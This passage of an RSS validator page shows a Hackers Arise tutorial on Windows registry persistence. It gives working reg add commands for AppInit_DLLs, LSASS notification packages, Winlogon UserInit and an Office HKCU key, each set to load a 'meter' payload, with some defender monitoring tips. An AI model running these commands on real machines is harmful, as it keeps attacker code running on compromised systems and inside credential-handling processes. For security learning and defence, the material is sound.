  2406. <p>The post <a href="https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/">Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  2407. <content:encoded><![CDATA[<p>Welcome back, aspiring cyberwarriors! </p>
  2408.  
  2409.  
  2410.  
  2411. <p>Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment. </p>
  2412.  
  2413.  
  2414.  
  2415. <p>The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers&#8211; who rely on stability&#8211; and defenders&#8211; who need to spot tampering before it causes damage.</p>
  2416.  
  2417.  
  2418.  
  2419. <h2 class="wp-block-heading"><strong>AppInit</strong></h2>
  2420.  
  2421.  
  2422.  
  2423. <p>AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.</p>
  2424.  
  2425.  
  2426.  
  2427. <p><code>cmd#&gt; reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f</code></p>
  2428.  
  2429.  
  2430.  
  2431. <p><code>cmd#&gt; reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f</code></p>
  2432.  
  2433.  
  2434.  
  2435. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="174" src="https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique.webp" alt="AppInit windows persistence technique" class="wp-image-17879" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique.webp 970w, https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique-300x54.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/1-appinit-persistence-technique-768x138.webp 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>
  2436.  
  2437.  
  2438.  
  2439. <p><code>cmd#&gt; reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f</code></p>
  2440.  
  2441.  
  2442.  
  2443. <p><code>cmd#&gt; reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f</code></p>
  2444.  
  2445.  
  2446.  
  2447. <p>The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.</p>
  2448.  
  2449.  
  2450.  
  2451. <p>In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.</p>
  2452.  
  2453.  
  2454.  
  2455. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="997" height="144" src="https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received.webp" alt="AppInit persistence initiated a connection back" class="wp-image-17880" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received.webp 997w, https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received-300x43.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/2-appinit-persistence-connection-received-768x111.webp 768w" sizes="(max-width: 997px) 100vw, 997px" /></figure>
  2456.  
  2457.  
  2458.  
  2459. <p><strong>Pros:</strong> survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.</p>
  2460.  
  2461.  
  2462.  
  2463. <p><strong>Cons:</strong> requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.</p>
  2464.  
  2465.  
  2466.  
  2467. <p>If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.</p>
  2468.  
  2469.  
  2470.  
  2471. <h2 class="wp-block-heading"><strong>LSASS</strong></h2>
  2472.  
  2473.  
  2474.  
  2475. <p>Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.</p>
  2476.  
  2477.  
  2478.  
  2479. <p><code>cmd#&gt; reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f</code></p>
  2480.  
  2481.  
  2482.  
  2483. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="961" height="116" src="https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique.webp" alt="LSASS windows peristence technique" class="wp-image-17881" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique.webp 961w, https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique-300x36.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/3-lsass-persistence-technique-768x93.webp 768w" sizes="(max-width: 961px) 100vw, 961px" /></figure>
  2484.  
  2485.  
  2486.  
  2487. <p>The registry command updates <strong>Notification Packages</strong> multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named <code>rassfm</code>, <code>scecli</code>, <code>meter</code> and force the write if the value already exists.&#8221;</p>
  2488.  
  2489.  
  2490.  
  2491. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="903" height="142" src="https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1.webp" alt="LSASS  persistence initiated a connection back" class="wp-image-17888" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1.webp 903w, https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1-300x47.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/4-lsass-connection-received-1-768x121.webp 768w" sizes="(max-width: 903px) 100vw, 903px" /></figure>
  2492.  
  2493.  
  2494.  
  2495. <p><strong>Pros:</strong> survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.</p>
  2496.  
  2497.  
  2498.  
  2499. <p><strong>Cons:</strong> requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.</p>
  2500.  
  2501.  
  2502.  
  2503. <p>Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.</p>
  2504.  
  2505.  
  2506.  
  2507. <h2 class="wp-block-heading"><strong>W</strong>inlogon</h2>
  2508.  
  2509.  
  2510.  
  2511. <p>Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the <code>UserInit</code> registry value after authentication completes. By appending an additional executable to that <code>UserInit</code> string you ensure your program is launched automatically every time someone signs in interactively.&nbsp;</p>
  2512.  
  2513.  
  2514.  
  2515. <p><code>cmd#&gt; reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"</code></p>
  2516.  
  2517.  
  2518.  
  2519. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="192" src="https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique.webp" alt="Winlogon persistence technique" class="wp-image-17884" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique.webp 970w, https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique-300x59.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/5-winlogon-persistence-technique-768x152.webp 768w" sizes="(max-width: 970px) 100vw, 970px" /></figure>
  2520.  
  2521.  
  2522.  
  2523. <p>This keeps the normal <code>userinit.exe</code> first and appends <code>c:\meter.exe</code>, so when Winlogon runs it will launch <code>userinit.exe</code> and then <code>meter.exe</code> as part of the logon sequence. Be aware that <code>UserInit</code> must include the legitimate <code>userinit.exe</code> path first. Removing or misordering it can break interactive logons and lock users out.</p>
  2524.  
  2525.  
  2526.  
  2527. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="139" src="https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-1024x139.webp" alt="Winlogon persistence initiated a connection back" class="wp-image-17885" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-1024x139.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-300x41.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received-768x104.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/6-winlogon-persistence-connection-received.webp 1064w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  2528.  
  2529.  
  2530.  
  2531. <p><strong>Pros:</strong> survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.</p>
  2532.  
  2533.  
  2534.  
  2535. <p><strong>Cons:</strong> requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.</p>
  2536.  
  2537.  
  2538.  
  2539. <h2 class="wp-block-heading">Microsoft <strong>Office</strong></h2>
  2540.  
  2541.  
  2542.  
  2543. <p>Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.</p>
  2544.  
  2545.  
  2546.  
  2547. <p><code>cmd$&gt; reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll</code></p>
  2548.  
  2549.  
  2550.  
  2551. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="795" height="140" src="https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique.webp" alt="Microsoft Office windows persistence technique" class="wp-image-17886" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique.webp 795w, https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique-300x53.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/7-office-persistence-technique-768x135.webp 768w" sizes="(max-width: 795px) 100vw, 795px" /></figure>
  2552.  
  2553.  
  2554.  
  2555. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="903" height="171" src="https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received.webp" alt="Microsoft Office persistence initiated a connection back" class="wp-image-17887" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received.webp 903w, https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received-300x57.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/8-office-persistence-connection-received-768x145.webp 768w" sizes="(max-width: 903px) 100vw, 903px" /></figure>
  2556.  
  2557.  
  2558.  
  2559. <p><strong>Pros:</strong> survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.</p>
  2560.  
  2561.  
  2562.  
  2563. <p><strong>Cons:</strong> there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.</p>
  2564.  
  2565.  
  2566.  
  2567. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  2568.  
  2569.  
  2570.  
  2571. <p>Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.</p><p>The post <a href="https://hackers-arise.com/advanced-windows-persistence-part-2-using-the-registry-to-maintain-persistence/">Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  2572. </item>
  2573. </channel>
  2574. </rss>
  2575.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//www.hackers-arise.com/blog-feed.xml

Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda